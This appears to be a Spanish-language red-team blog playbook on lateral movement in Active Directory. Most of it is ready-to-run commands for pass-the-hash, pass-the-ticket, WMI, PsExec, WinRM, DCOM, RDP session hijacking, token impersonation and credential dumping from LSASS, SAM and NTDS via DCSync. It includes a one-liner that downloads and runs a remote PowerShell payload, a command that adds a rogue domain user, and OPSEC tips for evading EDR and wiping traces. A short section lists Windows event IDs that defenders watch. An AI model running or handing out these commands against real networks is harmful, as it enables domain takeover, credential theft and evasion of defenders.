Una vez que tienes credenciales o una shell en un equipo, empieza el juego real: moverse por la red sin que te detecten. El movimiento lateral en Active Directory es donde la mayoría de los engagements se ganan o se pierden.

Este es el playbook completo. Cada técnica. Las herramientas, los comandos, las notas de detección y las consideraciones de OPSEC que separan un engagement exitoso de uno bloqueado.


¿Qué es el Movimiento Lateral en AD?

El movimiento lateral es el proceso de usar el acceso a un sistema para obtener acceso a otros. En un entorno de Active Directory, esto es especialmente poderoso porque las credenciales, los tickets y los tokens suelen ser reutilizables en todo el dominio.

El objetivo: moverse desde el punto de entrada inicial hacia los objetivos de alto valor — controladores de dominio, servidores de archivos, estaciones de trabajo de administradores, bases de datos.


Prerrequisitos

Antes del movimiento lateral, normalmente necesitas uno de los siguientes:

  • Credenciales válidas (texto plano, hash NTLM o ticket Kerberos)
  • Admin local en el objetivo (para la mayoría de técnicas de ejecución remota)
  • Cuenta de dominio con acceso a los servicios del objetivo

También necesitarás:

  • Un VPS en Vultr o DigitalOcean para tu infraestructura de C2 — nunca operes desde tu IP personal
  • Impacket, NetExec, Mimikatz o un framework C2 listos para usar

Técnica 1: Pass-the-Hash (PtH)

Qué es: Usar un hash NTLM en lugar de una contraseña en texto plano para autenticarse en servicios remotos. Sin necesidad de romper la contraseña.

Requisitos: Admin local en el objetivo (para ejecución basada en SMB), hash NTLM de una cuenta válida.

PtH con NetExec (NXC)

# Autenticarse en un objetivo específico
nxc smb 192.168.1.10 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

# Spray en toda la subred
nxc smb 192.168.1.0/24 -u Administrator -H <HASH_NTLM> --local-auth

# Ejecutar comando remotamente
nxc smb 192.168.1.10 -u Administrator -H <HASH_NTLM> -x "whoami /all"

PtH con Impacket

# Ejecución remota de comandos vía SMB
impacket-psexec [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:<HASH_NT>

# Ejecución WMI (más silenciosa que psexec)
impacket-wmiexec [email protected] -hashes :<HASH_NT>

# SMBexec (sin binario en disco, solo cmd.exe)
impacket-smbexec [email protected] -hashes :<HASH_NT>

PtH con Mimikatz

# Iniciar shell con hash inyectado
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:<HASH_NT> /run:cmd.exe

Notas de OPSEC:

  • PsExec escribe un binario de servicio en disco y crea un servicio de Windows — muy ruidoso
  • WMIexec y SMBexec son más silenciosos (no dropean binarios)
  • El Event ID 4624 (Tipo de inicio de sesión 3) + 4648 se disparan en el objetivo
  • La autenticación NetNTLMv2 sobre SMB queda registrada — considera el timing

Técnica 2: Pass-the-Ticket (PtT)

Qué es: Robar o falsificar un ticket Kerberos y usarlo para autenticarse en servicios sin conocer la contraseña de la cuenta.

Requisitos: Acceso a un TGT o TGS (desde LSASS, un archivo de ticket o la salida de Rubeus).

Extraer Tickets con Rubeus

# Listar tickets actuales
Rubeus.exe triage

# Volcar todos los tickets de LSASS
Rubeus.exe dump /nowrap

# Volcar tickets de un usuario específico
Rubeus.exe dump /user:Administrator /nowrap

Pass the Ticket

# Inyectar ticket en la sesión actual
Rubeus.exe ptt /ticket:<Base64_TGT>

# O cargar desde archivo .kirbi
Rubeus.exe ptt /ticket:ticket.kirbi

PtT con Mimikatz

# Exportar tickets desde LSASS
sekurlsa::tickets /export

# Inyectar un ticket
kerberos::ptt ticket.kirbi

# Verificar
klist

PtT con Impacket

# Usar archivo .ccache con herramientas de Impacket
export KRB5CCNAME=/tmp/ticket.ccache
impacket-psexec -k -no-pass corp.local/[email protected]

Notas de OPSEC:

  • La autenticación Kerberos (Tipo 3 con Kerberos) genera menos ruido que NTLM
  • Los TGTs expiran en 10 horas por defecto — trabaja rápido
  • Inyectar tickets en tu propia sesión (PtT) no deja rastros en disco
  • Los volcados de tickets desde LSASS activan eventos de acceso a LSASS (Sysmon Event ID 10)

Técnica 3: Ejecución Remota por WMI

Qué es: Usar Windows Management Instrumentation para ejecutar comandos en hosts remotos. Funcionalidad nativa de Windows — no se necesitan herramientas adicionales en el objetivo.

Requisitos: Credenciales válidas, WMI permitido por el firewall (TCP 135 + puertos dinámicos).

WMI vía PowerShell (nativo)

# Ejecutar comando en host remoto
$cred = Get-Credential
Invoke-WmiMethod -ComputerName 192.168.1.10 -Credential $cred -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\Windows\Temp\out.txt"

# Recuperar salida
Get-WmiObject -ComputerName 192.168.1.10 -Credential $cred -Query "SELECT * FROM Win32_Process WHERE Name='cmd.exe'"

WMI vía CIM (moderno, más silencioso)

$sess = New-CimSession -ComputerName 192.168.1.10 -Credential $cred
Invoke-CimMethod -CimSession $sess -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine="powershell -enc <BASE64>"}

Impacket WMIexec

# Shell interactiva vía WMI (semi-interactiva, salida vía share)
impacket-wmiexec corp.local/Administrator:'Password123!'@192.168.1.10

# Con hash
impacket-wmiexec -hashes :<HASH_NT> [email protected]

# Comando único
impacket-wmiexec Administrator:'Password123!'@192.168.1.10 "ipconfig /all"

Notas de OPSEC:

  • WMI crea procesos hijo bajo WmiPrvSE.exe — detectable pero común
  • No dropea archivos (no hay binario de servicio como PsExec)
  • El Security Event 4688 se dispara para la creación de procesos con logging de línea de comandos habilitado
  • Sysmon Event ID 1 + el log operacional de WMI-Activity captura las queries WMI

Técnica 4: Ejecución SMB + Estilo PsExec

Qué es: Escribir y ejecutar un binario de servicio sobre SMB. Técnica clásica, sigue funcionando, extremadamente ruidosa.

Ejecución SMB con NetExec

# Ejecutar comando
nxc smb 192.168.1.10 -u Administrator -p 'Password123!' -x "net user hacker H@cker123! /add /domain"

# Ejecutar PowerShell
nxc smb 192.168.1.10 -u Administrator -p 'Password123!' -X "IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/payload.ps1')"

# Usar método de ejecución específico
nxc smb 192.168.1.10 -u Administrator -p 'Password123!' --exec-method wmiexec -x "whoami"

Impacket PsExec

# Shell interactiva completa (crea servicio + binario)
impacket-psexec corp.local/Administrator:'Password123!'@192.168.1.10

# Cambiar nombre del pipe (ocultar el nombre por defecto PSEXECSVC)
impacket-psexec corp.local/Administrator:'Password123!'@192.168.1.10 -service-name svchost

SMBexec (Sin Binario en Disco)

# Ejecuta comandos completamente mediante batch files — no escribe binarios
impacket-smbexec corp.local/Administrator:'Password123!'@192.168.1.10

Notas de OPSEC:

  • PsExec = Sysmon Event 1, Security 7045 (servicio instalado), 4697 — siempre lo detectan los EDR
  • SMBexec es más silencioso pero igual crea batch files en C:\Windows\
  • Nunca uses PsExec en un engagement real a menos que quieras que te detecten

Técnica 5: WinRM

Qué es: Windows Remote Management — PowerShell remoting sobre HTTP (5985) o HTTPS (5986). Integrado y cada vez más común en entornos modernos.

Requisitos: WinRM habilitado en el objetivo (por defecto en Server 2012+, no en workstations), credenciales válidas o hash.

PowerShell Remoting Nativo

# Sesión interactiva
Enter-PSSession -ComputerName 192.168.1.10 -Credential (Get-Credential)

# Una sola línea
Invoke-Command -ComputerName 192.168.1.10 -Credential $cred -ScriptBlock { whoami; hostname }

# Ejecutar script remotamente
Invoke-Command -ComputerName 192.168.1.10 -Credential $cred -FilePath C:\scripts\payload.ps1

Evil-WinRM (Cliente WinRM para Red Team)

# Conectar con contraseña
evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!'

# Conectar con hash (PtH)
evil-winrm -i 192.168.1.10 -u Administrator -H <HASH_NT>

# Conectar con ticket Kerberos
evil-winrm -i dc01.corp.local -r corp.local -u Administrator

# Subir archivo durante la sesión
upload /tmp/SharpHound.exe C:\Windows\Temp\SharpHound.exe

# Descargar archivo
download C:\Windows\NTDS\NTDS.dit /tmp/NTDS.dit

NetExec WinRM

# Verificar acceso WinRM
nxc winrm 192.168.1.0/24 -u Administrator -p 'Password123!'

# Ejecutar comando
nxc winrm 192.168.1.10 -u Administrator -p 'Password123!' -x "whoami"

Notas de OPSEC:

  • WinRM registra en Microsoft-Windows-WinRM/Operational y PowerShell-Operational
  • El script block logging (si está habilitado) captura todos los comandos PS
  • HTTPS (5986) encripta el tráfico — más difícil de inspeccionar pero los mismos eventos de log
  • Evento de creación de sesión: Security 4624 Logon Type 3

Técnica 6: Movimiento Lateral con DCOM

Qué es: Distributed Component Object Model — mecanismo de Windows para la comunicación entre procesos. Varios objetos DCOM pueden ejecutar código remotamente.

Requisitos: Admin local en el objetivo, DCOM permitido por el firewall.

DCOM vía PowerShell

# MMC20.Application (técnica clásica)
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "192.168.1.10"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe", $null, "/c whoami > C:\Windows\Temp\out.txt", "7")

# ShellWindows
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Shell.Application", "192.168.1.10"))
$com.Windows() | ForEach-Object { $_.Document.Application.ShellExecute("cmd.exe", "/c whoami > C:\Windows\Temp\out.txt", "C:\Windows\System32", $null, 0) }

Objetos DCOM Comunes para Ejecución

ObjetoProgIDNotas
MMC20.ApplicationMMC20.ApplicationClásico, ampliamente conocido
ShellWindowsShell.ApplicationSe lanza bajo Explorer
ShellBrowserWindowShellBrowserWindowSimilar a ShellWindows
Excel.ApplicationExcel.ApplicationRequiere Office instalado

Notas de OPSEC:

  • DCOM lanza procesos bajo procesos padre legítimos (mmc.exe, explorer.exe) — se mezcla con el entorno
  • Menos detecciones que PsExec históricamente, pero los EDR modernos ya tienen reglas para ejecución DCOM
  • El firewall debe permitir TCP 135 (RPC endpoint mapper) + puertos RPC dinámicos

Técnica 7: Movimiento Lateral con RDP

Qué es: Remote Desktop Protocol. Alta visibilidad pero a veces necesario, especialmente para objetivos que requieren GUI.

RDP con Credenciales Robadas

# Linux → Windows
xfreerdp /u:Administrator /p:'Password123!' /v:192.168.1.10 /cert-ignore

# Con hash (el modo Restricted Admin debe estar habilitado en el objetivo)
xfreerdp /u:Administrator /pth:<HASH_NT> /v:192.168.1.10 /cert-ignore

# Habilitar Restricted Admin remotamente (requiere derechos de admin)
nxc smb 192.168.1.10 -u Administrator -p 'Password123!' -x "reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f"

Secuestro de Sesión RDP (Sin Credenciales)

# Listar sesiones activas
query session

# Secuestrar sesión desconectada (requiere privilegios SYSTEM)
tscon <ID_SESION> /dest:<NOMBRE_SESION_ACTUAL>

Notas de OPSEC:

  • RDP deja registros significativos: Security 4624 (Tipo 10), TerminalServices-LocalSessionManager, RDP-Tcp
  • RDP a un DC es extremadamente sospechoso — evítalo a menos que sea necesario
  • Secuestrar sesiones desconectadas (tscon) no requiere credenciales y no genera un nuevo evento de inicio de sesión

Técnica 8: Impersonación de Tokens

Qué es: Robar o suplantar tokens de otros usuarios que tienen sesión en el sistema. Si hay un admin conectado, su token puede estar disponible.

Incognito / Metasploit

# Metasploit - listar tokens disponibles
meterpreter > use incognito
meterpreter > list_tokens -u

# Impersonar un token
meterpreter > impersonate_token "CORP\\Administrator"

# Revertir
meterpreter > rev2self

Invoke-TokenManipulation (PowerShell)

# Listar tokens
Invoke-TokenManipulation -Enumerate

# Impersonar y lanzar shell
Invoke-TokenManipulation -Username "corp\Administrator" -CreateProcess "cmd.exe"

Make Token (Cobalt Strike / Manual)

# Crear sesión de inicio de sesión con credenciales sin autenticarse todavía
runas /netonly /user:corp\Administrator cmd.exe
# O vía Cobalt Strike: make_token domain\user password

Notas de OPSEC:

  • La manipulación de tokens opera en memoria — sin artefactos en disco
  • Requiere SeImpersonatePrivilege o SeAssignPrimaryTokenPrivilege
  • Las cuentas de servicio frecuentemente tienen SeImpersonatePrivilege — considera ataques tipo potato si tienes acceso a una cuenta de servicio

Técnica 9: Extracción de Credenciales para Movimiento Lateral

El movimiento lateral depende de las credenciales. Aquí está donde encontrarlas:

Volcado de LSASS

# Mimikatz (interactivo)
sekurlsa::logonpasswords

# Mimikatz (desde archivo — volcar primero, parsear offline)
procdump -ma lsass.exe lsass.dmp
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

# Remotamente vía NetExec
nxc smb 192.168.1.10 -u Administrator -p 'Password123!' -M lsassy
nxc smb 192.168.1.10 -u Administrator -p 'Password123!' -M nanodump

Base de Datos SAM (Cuentas Locales)

# Impacket secretsdump (remoto)
impacket-secretsdump corp.local/Administrator:'Password123!'@192.168.1.10

# Mimikatz (local)
lsadump::sam

NTDS.dit (Hashes del Dominio — El Gran Premio)

# Impacket secretsdump vía DCSync (sin necesidad de archivo)
impacket-secretsdump corp.local/Administrator:'Password123!'@DC01 -just-dc

# O con hash
impacket-secretsdump -hashes :<HASH_NT> corp.local/Administrator@DC01 -just-dc

# NetExec
nxc smb DC01 -u Administrator -p 'Password123!' --ntds

Credenciales en Caché

# Mimikatz — credenciales de dominio en caché (hashes DCC2)
lsadump::cache

Encadenando Técnicas: Flujo del Mundo Real

Una cadena típica de movimiento lateral se ve así:

Punto de entrada inicial (usuario con bajos privilegios en WORKSTATION01)
  → Escalada de privilegios (admin local vía exploit o configuración débil)
  → Volcado de LSASS (obtener hashes NT de usuarios con sesión activa)
  → Identificar hash de alto valor (Domain Admin o cuenta de sysadmin)
  → Pass-the-Hash → WMIexec a FILESERVER01
  → Extraer más credenciales en FILESERVER01
  → Kerberoast desde nuevo contexto → crackear hash de cuenta de servicio
  → PtH a DB-SERVER o directo a DCSync si tienes derechos de replicación
  → DCSync → todos los hashes del dominio
  → Golden ticket o PTT para mantener persistencia

Detección: Qué Buscan los Blue Teams

Entender la detección ayuda a moverse con mayor inteligencia:

TécnicaEvent IDs ClaveFuente de Log
PtH4624 (Tipo 3), 4648Security
PtT4768, 4769, 4770Security
Ejecución WMI4688, WMI-Activity 5857/5860/5861Security + WMI
PsExec7045, 4697, 4688Security + System
WinRM4624, WinRM/OperationalSecurity + WinRM
DCOM4688 (relación padre/hijo inusual)Security + Sysmon
DCSync4662 (derechos DS-Replication)Security
Acceso LSASSSysmon ID 10Sysmon

Detecciones de alta señal:

  • Cualquier máquina que no sea un DC realizando DCSync (4662 con GUIDs de replicación)
  • Acceso a LSASS desde procesos que no son del sistema (Sysmon 10)
  • Ejecución de herramientas de movimiento lateral (instalación del servicio psexec, 7045)
  • Patrones de Pass-the-Hash: autenticación NTLM desde cuentas que normalmente usan Kerberos

Checklist de OPSEC para Movimiento Lateral

Antes de mover lateralmente:

  • Conoce el footprint de tu herramienta — PsExec escribe servicios, WMIexec no
  • Usa herramientas nativas primero (LOLBins: wmic, net, sc, reg) antes de dropear binarios
  • Ajusta al horario laboral — el movimiento lateral a las 3am llama la atención
  • Limpia tu rastro — elimina archivos dropeados, limpia el historial de comandos, restaura claves de registro
  • Evita los DCs hasta que sea necesario — el tráfico anómalo hacia DCs dispara alertas
  • Usa tu propio VPS de C2 — nunca enrutes a través de tu IP personal; Vultr y DigitalOcean funcionan bien para esto
  • Quédate en memoria — los artefactos en disco los captura AV/EDR; la ejecución en memoria dura más
  • Mezcla con el entorno — usa protocolos normales para ese segmento (WinRM en servidores, RDP en máquinas de admin)

Resumen de Herramientas

HerramientaMejor ParaNivel de Ruido
NetExec (NXC)Spraying, ejecución SMB/WinRM, ecosistema de módulosMedio
Suite ImpacketPtH, WMIexec, SMBexec, secretsdumpBajo–Medio
MimikatzExtracción de credenciales, PtH, PtTAlto (detectado por AV)
RubeusOperaciones con tickets Kerberos (request, dump, ptt, roast)Medio
Evil-WinRMShells interactivas WinRM con soporte PtHBajo
BloodHoundBúsqueda de rutas — saber a dónde ir antes de moverseNinguno (la recolección de datos es media)

Artículos Relacionados


Laboratorios de Práctica

Necesitas un entorno AD activo para practicar esto correctamente. Algunas opciones:

  • Vultr — Levanta 2–3 VMs de Windows por $20–30/mes. Configura tu propio laboratorio de AD en horas.
  • DigitalOcean — Lo mismo, precios sólidos en droplets Windows.
  • Hack The Box Pro Labs — ADSEC y RastaLabs cubren movimiento lateral en profundidad.
  • TryHackMe — Las rutas de AD son sólidas para principiantes antes de pasar a HTB.

¿Necesitas que tus reportes de pentest destaquen? CipherWrite entrega contenido de seguridad de nivel profesional — reportes, whitepapers y write-ups técnicos que realmente comunican el riesgo.